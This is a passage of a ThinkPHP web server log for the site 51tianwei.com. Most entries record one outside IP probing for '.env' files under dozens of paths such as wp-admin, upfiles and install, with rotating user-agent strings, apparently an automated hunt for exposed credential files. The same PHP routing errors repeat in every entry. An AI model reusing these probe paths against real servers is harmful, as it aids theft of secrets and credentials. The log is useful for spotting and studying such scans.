) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'accept' => '*/*', 'user-agent' => 'Mozilla/5.0 (Windows NT 5.2; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:39:00+08:00 ] 78.153.140.151 GET 59.110.137.245/options/.env [运行时间:0.001748s] [吞吐率:572.05req/s] [内存消耗:132.61kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'options', 2 => '.env', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'accept' => '*/*', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:39:07+08:00 ] 78.153.140.151 GET 59.110.137.245/portal/.env [运行时间:0.001724s] [吞吐率:580.04req/s] [内存消耗:132.77kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'portal', 2 => '.env', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'accept' => '*/*', 'user-agent' => 'Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; USCCADR6325US Carrier ID 45 Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:39:10+08:00 ] 78.153.140.151 GET 59.110.137.245/route/.env [运行时间:0.001798s] [吞吐率:556.20req/s] [内存消耗:132.61kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'route', 2 => '.env', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'accept' => '*/*', 'user-agent' => 'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:39:12+08:00 ] 78.153.140.151 GET 59.110.137.245/routes/.env [运行时间:0.001712s] [吞吐率:584.08req/s] [内存消耗:132.55kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'routes', 2 => '.env', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'accept' => '*/*', 'user-agent' => 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.104 Safari/537.36', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:39:15+08:00 ] 78.153.140.151 GET 59.110.137.245/office/.env [运行时间:0.001664s] [吞吐率:600.99req/s] [内存消耗:132.52kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'office', 2 => '.env', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'accept' => '*/*', 'user-agent' => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.2) Gecko/20060419 Firefox/1.5.0.2', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:39:17+08:00 ] 78.153.140.151 GET 59.110.137.245/wp-admin/.env [运行时间:0.001637s] [吞吐率:610.79req/s] [内存消耗:132.60kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'wp-admin', 2 => '.env', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'accept' => '*/*', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:39:18+08:00 ] 78.153.140.151 GET 59.110.137.245/upfiles/.env [运行时间:0.001708s] [吞吐率:585.47req/s] [内存消耗:132.77kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'upfiles', 2 => '.env', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'accept' => '*/*', 'user-agent' => 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:39:20+08:00 ] 78.153.140.151 GET 59.110.137.245/view/.env [运行时间:0.001696s] [吞吐率:589.67req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'view', 2 => '.env', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'accept' => '*/*', 'user-agent' => 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:70.0) Gecko/20190101 Firefox/70.0', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:39:21+08:00 ] 78.153.140.151 GET 59.110.137.245/views/.env [运行时间:0.001635s] [吞吐率:611.59req/s] [内存消耗:132.61kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'views', 2 => '.env', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'accept' => '*/*', 'user-agent' => 'Mozilla/5.0 (X11; U; Linux armv7l; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:39:23+08:00 ] 78.153.140.151 GET 59.110.137.245/security/.env [运行时间:0.001597s] [吞吐率:626.11req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'security', 2 => '.env', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'accept' => '*/*', 'user-agent' => 'Mozilla/4.0 (compatible; MSIE 5.0; Mac_PowerPC) Opera 5.0 [en]', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:39:25+08:00 ] 78.153.140.151 GET 59.110.137.245/samples/.env [运行时间:0.001626s] [吞吐率:615.00req/s] [内存消耗:132.30kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'samples', 2 => '.env', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'accept' => '*/*', 'user-agent' => 'Opera/9.80 (X11; Linux i686) Presto/2.12.388 Version/12.15', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:39:26+08:00 ] 78.153.140.151 GET 59.110.137.245/sandbox/.env [运行时间:0.001709s] [吞吐率:585.14req/s] [内存消耗:132.70kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'sandbox', 2 => '.env', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'accept' => '*/*', 'user-agent' => 'Mozilla/5.0 (Linux; Android 6.0.1; SM-G550FY Build/MMB29K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Mobile Safari/537.36', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:39:27+08:00 ] 78.153.140.151 GET 59.110.137.245/results/.env [运行时间:0.001626s] [吞吐率:615.00req/s] [内存消耗:132.61kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'results', 2 => '.env', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'accept' => '*/*', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.63 Safari/537.36', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:39:28+08:00 ] 78.153.140.151 GET 59.110.137.245/process/.env [运行时间:0.001687s] [吞吐率:592.75req/s] [内存消耗:132.77kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'process', 2 => '.env', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'accept' => '*/*', 'user-agent' => 'Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_5 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) FxiOS/10.6b8836 Mobile/15D60 Safari/604.5.6', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:39:29+08:00 ] 78.153.140.151 GET 59.110.137.245/products/.env [运行时间:0.001829s] [吞吐率:546.77req/s] [内存消耗:132.42kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'products', 2 => '.env', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'accept' => '*/*', 'user-agent' => 'Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:46.0) Gecko/20100101 Firefox/46.0', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:39:31+08:00 ] 78.153.140.151 GET 59.110.137.245/project/.env [运行时间:0.001674s] [吞吐率:597.39req/s] [内存消耗:132.55kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'project', 2 => '.env', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'accept' => '*/*', 'user-agent' => 'Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:39:46+08:00 ] 78.153.140.151 GET 59.110.137.245/import/.env [运行时间:0.001722s] [吞吐率:580.69req/s] [内存消耗:132.77kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'import', 2 => '.env', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'accept' => '*/*', 'user-agent' => 'Mozilla/5.0 (Linux; Android 5.1.1; SAMSUNG-SM-G920A Build/LMY47X) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/3.2 Chrome/38.0.2125.102 Mobile Safari/537.36', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:39:48+08:00 ] 78.153.140.151 GET 59.110.137.245/include/.env [运行时间:0.001717s] [吞吐率:582.38req/s] [内存消耗:132.77kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'include', 2 => '.env', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'accept' => '*/*', 'user-agent' => 'Mozilla/5.0 (Linux; U; Android 2.3.3; en-gb; GT-S5830 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:39:56+08:00 ] 123.57.13.121 GET 51tianwei.com/ [运行时间:0.001278s] [吞吐率:782.37req/s] [内存消耗:159.97kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:39:56+08:00 ] 78.153.140.151 GET 59.110.137.245/install/.env [运行时间:0.001583s] [吞吐率:631.67req/s] [内存消耗:132.38kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'install', 2 => '.env', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'accept' => '*/*', 'user-agent' => 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:40:10+08:00 ] 78.153.140.151 GET 59.110.137.245/resources/.env [运行时间:0.001633s] [吞吐率:612.40req/s] [内存消耗:132.66kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'resources', 2 => '.env', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'accept' => '*/*', 'user-agent' => 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/1.0.156.0 Safari/528.8', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] 